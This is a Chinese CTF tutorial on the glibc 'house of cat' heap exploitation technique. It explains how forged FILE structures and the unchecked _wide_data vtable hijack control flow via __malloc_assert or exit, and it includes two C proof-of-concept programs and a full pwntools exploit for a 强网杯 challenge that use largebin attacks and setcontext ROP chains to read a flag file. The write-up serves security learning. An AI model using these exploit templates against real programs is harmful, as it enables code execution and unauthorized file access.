house of cat

前言

利用条件:

        - 泄漏 libc 和 heap 基地址

        - 任意写一次堆地址(largebin attack 等攻击)

        - 能够触发 IO 链

在介绍 house of cat 之前,笔者将带大家梳理一下目前常用的两种触发 IO 链调用的方法。

__malloc_assert 触发 IO 链调用

调用链如图:

house of cat_第1张图片

__malloc_assert 正常情况下会调用 stderr->vtable.__xsputn

house of cat_第2张图片

为什么 fp -> _lock 为可写地址

经过调试可以发现,程序最后会断在 __vfxprintf 函数中,通过查看汇编可以发现,因为 rdi = 0,所以 [rdi + 8] 这里就会异常。而通过回溯,可以发现 rdi 来自于 [rbx + 0x88],而 rbx 的值就是我们伪造的 fake_io 的地址,+0x88 就是字段 _lock 的偏移。

house of cat_第3张图片

为什么 fp ->_mode <= 0

这里通过源码可以看出,其中 _IO_fwide 就是取 fp -> _mode,所以为了进入 __vfprintf_internal 函数,fp -> _mode 应当小于等于 0

house of cat_第4张图片

exit 触发 IO 链调用

可以看到 exit 函数最后会调用 _IO_flush_all_lockp 去刷新 _IO_list_all 链表上的 IO_FILE

house of cat_第5张图片

需要满足的条件

house of cat_第6张图片

这里是个 if 判断,总的来看就是 A && _IO_OVERFLOW,所以要想执行 _IO_OVERFLOW 就得让 A 为真。

而 A 又可以看成 B || C,所以要让 A 为真,只需要 B 为真或者 C 为真即可。

我们来看下 B:fp->_mode <=0 && fp->_IO_write_ptr > fp->_IO_write_base,所以需要让 fp->_mode <=0 并且 _IO_write_ptr 大于 _IO_write_base。

C 的话就是同理了,就没啥好说的了,满足条件就行了,_vtable_offset = 0,_mode > 0,_wide_data->_IO_write_ptr > _wide_data->_IO_write_base。

house of cat  IO链

在虚表段存在一个叫做 _IO_wfile_jumps 的虚表:

house of cat_第7张图片

其中有个叫做 __seekoff 的字段,默认情况下其指向的函数是 _IO_wfile_seekoff,其在满足一定条件时会调用 _IO_switch_to_wget_mode 函数。

这里的 mode 在 __malloc_assert 触发下就算是也ok;但是在 exit 触发下就不行了。所以这里还是伪造一下 _mode 大于0比较好。

house of cat_第8张图片

想要调用 _IO_switch_to_wget_mode,就得让 was_writing 为真。这是就不用说了,让 _wide_data->_IO_write_ptr 大于 _wide_data->_IO_write_base 即可。

不知道你有没有发现这里的 _wide_data->_IO_write_ptr 大于 _wide_data->_IO_write_base 与 exit 触发 IO 链的 C 条件不谋而合。所以这也使得利用 exit 进行触发成为了可能。

在 _IO_switch_to_wget_mode 中会满足一定条件会调用 _wide_data 虚表中的 IO_OVERFLOW 函数。而对 _wide_data 中的虚表是没有合法性检查的,所以我们可以伪造 _wide_data 的虚表从而去劫持程序执行流。

house of cat_第9张图片

这里的条件是不是很熟悉:_wide_data->_IO_write_ptr 大于 _wide_data->_IO_write_base

所以整个调用链其实就分析完成了

house of cat_第10张图片

__malloc_assert 触发

poc.c:其中的偏移请根据自己的环境去设置

#include 
#include 

int main()
{
        setvbuf(stdin,NULL,_IONBF,0);
        setvbuf(stdout,NULL,_IONBF,0);
        setvbuf(stderr,NULL,_IONBF,0);
        size_t * ptr = malloc(0x410);
        size_t heap_base = ptr - 2;
        size_t libc_base = (size_t)&puts - 0x84420;
        //ptr[0x410/8 + 1] = 0x55;

        size_t * stderr_ = &stderr;
        size_t * fake_io_addr = ptr - 2;
        *stderr_ = fake_io_addr;

        size_t ones[3] = { 0xe3afe, 0xe3b01, 0xe3b04 };
        size_t o = libc_base + 0x10dce0;
        size_t r = libc_base + 0x10dfc0;
        size_t w = libc_base + 0x10e060;
        size_t setcontext = libc_base + 0x54f5d;

        fake_io_addr[0x88 / 8] = heap_base + 0x1000; // lock
        fake_io_addr[0xd8 / 8] = libc_base + 0x1e8f60 + 0x10; // _vtable
        fake_io_addr[0xa0 / 8] = heap_base + 0x100; // _wide_data
        fake_io_addr[0x100 / 8 + 0x18 / 8] = 1; // rcx
        fake_io_addr[0x100 / 8 + 0x20 / 8] = heap_base + 0x260; // rdx
        fake_io_addr[0x100 / 8 + 0xe0 / 8] = heap_base + 0x200; // _wide_data.vtable
        fake_io_addr[0x200 / 8 + 0x18 / 8] = setcontext; // rip

        fake_io_addr[0x250 / 8] = libc_base + 0x0000000000023b6a; // pop rdi ; ret
        fake_io_addr[0x250 / 8 + 1] = 3;
        fake_io_addr[0x250 / 8 + 2] = libc_base + 0x000000000002601f; // pop rsi ; ret
        fake_io_addr[0x250 / 8 + 3] = heap_base + 0x300;
        fake_io_addr[0x250 / 8 + 4] = libc_base + 0x0000000000142c92; // pop rdx ; ret
        fake_io_addr[0x250 / 8 + 5] = 0x40;
        fake_io_addr[0x250 / 8 + 6] = r;
        fake_io_addr[0x250 / 8 + 7] = libc_base + 0x0000000000023b6a; // pop rdi ; ret
        fake_io_addr[0x250 / 8 + 8] = 0;
        fake_io_addr[0x250 / 8 + 9] = libc_base + 0x000000000002601f; // pop rsi ; ret
        fake_io_addr[0x250 / 8 + 10] = heap_base + 0x300;
        fake_io_addr[0x250 / 8 + 11] = libc_base + 0x0000000000142c92; // pop rdx ; ret
        fake_io_addr[0x250 / 8 + 12] = 0x40;
        fake_io_addr[0x250 / 8 + 13] = w;

        fake_io_addr[0x260 / 8 + 0xa0 / 8] = heap_base + 0x250; // setcontest -> rsp
        fake_io_addr[0x260 / 8 + 0xa8 / 8] = o; // rcx -> ret -> open
        fake_io_addr[0x260 / 8 + 0x70 / 8] = 0; // rsi -> 0
        fake_io_addr[0x260 / 8 + 0x68 / 8] = heap_base + 0x400; // rdi -> flag.txt
        fake_io_addr[0x260 / 8 + 0x88 / 8] = 0; // rdx -> 0
        fake_io_addr[0x400 / 8] = 0x7478742e67616c66;

        //fake_io_addr[0x200 / 8 + 0x18 / 8] = 0xdeadbeef; // rip


        long long * ptr0 = malloc(0x418);
        malloc(0x10);
        long long * ptr1 = malloc(0x428);
        malloc(0x10);

        free(ptr1);
        malloc(0x438);

        size_t top_chunk_size_addr = (size_t)ptr0 + 0x410 + 0x20 + 0x430 + 0x20 + 0x440;
        ptr1[3] = top_chunk_size_addr - 0x20 + 3;
        free(ptr0);
        malloc(0x438);

        malloc(0x400);
        return 0;
}

效果如下:

house of cat_第11张图片

exit 触发

还记得上面的需要满足的条件吗?如果用 exit 去触发的话,我们只能去让 C 为真,因为如果 _mode 为0的话,这里会直接退出去而不会去执行 _IO_switch_to_wget_mode。

house of cat_第12张图片

poc.c:其中的偏移请根据自己的环境去设置

#include 
#include 

int main()
{
        setvbuf(stdin,NULL,_IONBF,0);
        setvbuf(stdout,NULL,_IONBF,0);
        setvbuf(stderr,NULL,_IONBF,0);
        size_t * ptr = malloc(0x410);
        size_t heap_base = ptr - 2;
        size_t libc_base = (size_t)&puts - 0x84420;
        //ptr[0x410/8 + 1] = 0x55;

        size_t * IO_list_all = libc_base + 0x1ed5a0;
        size_t * fake_io_addr = ptr - 2;
        *IO_list_all = fake_io_addr;

        size_t ones[3] = { 0xe3afe, 0xe3b01, 0xe3b04 };
        size_t o = libc_base + 0x10dce0;
        size_t r = libc_base + 0x10dfc0;
        size_t w = libc_base + 0x10e060;
        size_t setcontext = libc_base + 0x54f5d;

        fake_io_addr[4] = 1;
        fake_io_addr[5] = 2;
        fake_io_addr[0xd8 / 8] = libc_base + 0x1e8f60 + 0x30; // _vtable
        fake_io_addr[0xa0 / 8] = heap_base + 0x100; // _wide_data
        fake_io_addr[0xa0 / 8 + 4] = 1; // _mode
        fake_io_addr[0x100 / 8 + 0x18 / 8] = 1; // rcx
        fake_io_addr[0x100 / 8 + 0x20 / 8] = heap_base + 0x260; // rdx
        fake_io_addr[0x100 / 8 + 0xe0 / 8] = heap_base + 0x200; // _wide_data.vtable
        fake_io_addr[0x200 / 8 + 0x18 / 8] = setcontext; // rip
        //fake_io_addr[0x200 / 8 + 0x18 / 8] = libc_base + ones[0]; // rip

        fake_io_addr[0x250 / 8] = libc_base + 0x0000000000023b6a; // pop rdi ; ret
        fake_io_addr[0x250 / 8 + 1] = 3;
        fake_io_addr[0x250 / 8 + 2] = libc_base + 0x000000000002601f; // pop rsi ; ret
        fake_io_addr[0x250 / 8 + 3] = heap_base + 0x300;
        fake_io_addr[0x250 / 8 + 4] = libc_base + 0x0000000000142c92; // pop rdx ; ret
        fake_io_addr[0x250 / 8 + 5] = 0x40;
        fake_io_addr[0x250 / 8 + 6] = r;
        fake_io_addr[0x250 / 8 + 7] = libc_base + 0x0000000000023b6a; // pop rdi ; ret
        fake_io_addr[0x250 / 8 + 8] = 0;
        fake_io_addr[0x250 / 8 + 9] = libc_base + 0x000000000002601f; // pop rsi ; ret
        fake_io_addr[0x250 / 8 + 10] = heap_base + 0x300;
        fake_io_addr[0x250 / 8 + 11] = libc_base + 0x0000000000142c92; // pop rdx ; ret
        fake_io_addr[0x250 / 8 + 12] = 0x40;
        fake_io_addr[0x250 / 8 + 13] = w;

        fake_io_addr[0x260 / 8 + 0xa0 / 8] = heap_base + 0x250; // setcontest -> rsp
        fake_io_addr[0x260 / 8 + 0xa8 / 8] = o; // rcx -> ret -> open
        fake_io_addr[0x260 / 8 + 0x70 / 8] = 0; // rsi -> 0
        fake_io_addr[0x260 / 8 + 0x68 / 8] = heap_base + 0x400; // rdi -> flag.txt
        fake_io_addr[0x260 / 8 + 0x88 / 8] = 0; // rdx -> 0
        fake_io_addr[0x400 / 8] = 0x7478742e67616c66;

        return 0;
}

效果如下:

house of cat_第13张图片

强网杯 house of cat 例题

就是一个模板题,没什么好说的。

需要注意的是,open 函数会默认调用 openat 系统调用,而其打开文件会失败。所以我们得用 syscall 去直接调用 open 函数。

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'plz input your cat choice:\n'


def s():
        pay = b"CAT | r00t QWB     $\xff\xff\xff\xff\xff\xff\xff\xffQWXF"
        sla(b"mew mew mew~~~~~~\n", pay)

def add(idx, size, content, flag=True):
        s()
        sla(menu, b'1')
        sla(b'plz input your cat idx:\n', byte(idx))
        sla(b'plz input your cat size:\n', byte(size))
        if flag:
                sda(b'plz input your content:\n', content)
                #sd(content)

def dele(idx):
        s()
        sla(menu, b'2')
        sla(b'plz input your cat idx:\n', byte(idx))

def show(idx):
        s()
        sla(menu, b'3')
        sla(b'plz input your cat idx:\n', byte(idx))

def edit(idx, content):
        s()
        sla(menu, b'4')
        sla(b'plz input your cat idx:\n', byte(idx))
        sda(b'plz input your content:\n', content)

def exp():
        add(0, 0x418, b'A'*0x418)
        add(1, 0x420, b'B'*0x420)
        dele(0)
        add(2, 0x420, b'C'*0x420)
        add(3, 0x420, b'D'*0x420)

        show(0)
        rut(b'Context:\n')
        libc_base = addr8(8) - 0x21a0d0
        libc.address = libc_base
        info("libc_base", libc_base)
        rc(8)
        heap_base = addr8(8)
        info("heap_base", heap_base)
        stderr = libc_base + 0x21a860
        info("stderr", stderr)

        pay  = p64(0) * 4
        pay  = pay.ljust(0x88 - 0x10, b'\x00')
        pay += p64(heap_base + 0x3000) # _lock
        pay += p64(0) * 2
        pay += p64(heap_base + 0xd0 + 0x10) # _wide_data
        pay  = pay.ljust(0xd8 - 0x10, b'\x00')
        pay += p64(libc_base + 0x2160c0 + 0x10) # io_file vtable

        print(hex(len(pay)))
        pay += p64(0)*3 + p64(1) # _IO_write_base -> rcx
        pay += p64(heap_base + 0x10 + 0x1c0 + 0xd0) # _IO_write_ptr -> rdx
        pay += b'\x00'*(0xe0-0x28)
        pay += p64(heap_base + 0x10 + 0x1b8 - 0x18) # _wide_data vtable
        pay += p64(libc.sym.setcontext + 61) # _IO_overflow
        print(hex(len(pay)))

        stack  = b""
        stack += p64(libc_base + 0x0000000000045eb0) # pop rax ; ret
        stack += p64(2)
        stack += p64(libc_base + 0x000000000002a3e5) # pop_rdi
        stack += p64(heap_base + 0x380 + 0x10)
        stack += p64(libc_base + 0x000000000002be51) # pop_rsi
        stack += p64(2)
        stack += p64(libc_base + 0x000000000011f497) # pop rdx ; pop r12 ; ret
        stack += p64(0)
        stack += p64(0)
        stack += p64(libc_base + 0x0000000000091396) # syscall; ret;
        #stack += p64(libc.sym.open) # open

        stack += p64(libc_base + 0x000000000002a3e5) # pop_rdi
        stack += p64(0)
        stack += p64(libc_base + 0x000000000002be51) # pop_rsi
        stack += p64(heap_base + 0x380)
        stack += p64(libc_base + 0x000000000011f497) # pop rdx ; pop r12 ; ret
        stack += p64(0x40)
        stack += p64(0)
        stack += p64(libc.sym.read) # read

        stack += p64(libc_base + 0x000000000002a3e5) # pop_rdi
        stack += p64(1)
        stack += p64(libc_base + 0x000000000002be51) # pop_rsi
        stack += p64(heap_base + 0x380)
        stack += p64(libc_base + 0x000000000011f497) # pop_rdx
        stack += p64(0x40)
        stack += p64(0)
        stack += p64(libc.sym.write) # write

        rdx_reg  = b""
        rdx_reg  = rdx_reg.ljust(0x68, b'\x00') + p64(0)
        rdx_reg += p64(0)*4
        rdx_reg  = rdx_reg.ljust(0xa0, b'\x00')
        rdx_reg += p64(heap_base + 0x10 + 0x1c0) + p64(libc.sym.close)

        print("rdx_reg: ", hex(len(rdx_reg)))
        print("stack: ", hex(len(stack)))

        pay = pay + stack + rdx_reg
        print(hex(len(pay)))
        pay = pay.ljust(0x380, b'\x00') + b"./flag.txt"

        add(4, 0x418, pay.ljust(0x418, b'\x00'))
        dele(2)
        add(5, 0x430, b'5'*0x430)

        pay = p64(libc_base + 0x21a0e0) * 2 + p64(heap_base + 0x850) + p64(stderr - 0x20)
        edit(2, pay)

        dele(4)
        add(6, 0x430, b'F'*0x430)

        add(7, 0x440, b'7'*0x440)
        add(8, 0x440, b'L'*0x440)

        dele(7)
        add(9, 0x450, b'P'*0x450)

        dele(5)
        pay = p64(libc_base + 0x21a0e0) * 2 + p64(heap_base + 0x1930) + p64(heap_base + 0x2630 - 0x20 + 3)
        edit(7, pay)

#       debug()
        add(10, 0x460, b'P'*0x460, False)





if __name__ == "__main__":
        pay = b"LOGIN | r00t QWB     adminQWXF"
        sla(b"mew mew mew~~~~~~\n", pay)
#       s()
#       sla(menu, b'1')
#       sla(b'plz input your cat idx:', byte(0))
#       sla(b'plz input your cat size:', byte(0x418))
        exp()
        sh()

最后效果如下:

house of cat_第14张图片 

总结

鲁迅先生云:学习不总结等于白学。

由于对虚表的检查,我们无法直接去修改虚表和伪造虚表,这里主要就是利用了 _wide_data 中的虚表缺乏检查并且为了性能对虚表的检查只检查了范围。所以我们完全可以劫持原来的虚表为虚表段中的任意虚表,从而去寻址相关攻击链。

你可能感兴趣的:(PWN—house系列,house,of,cat)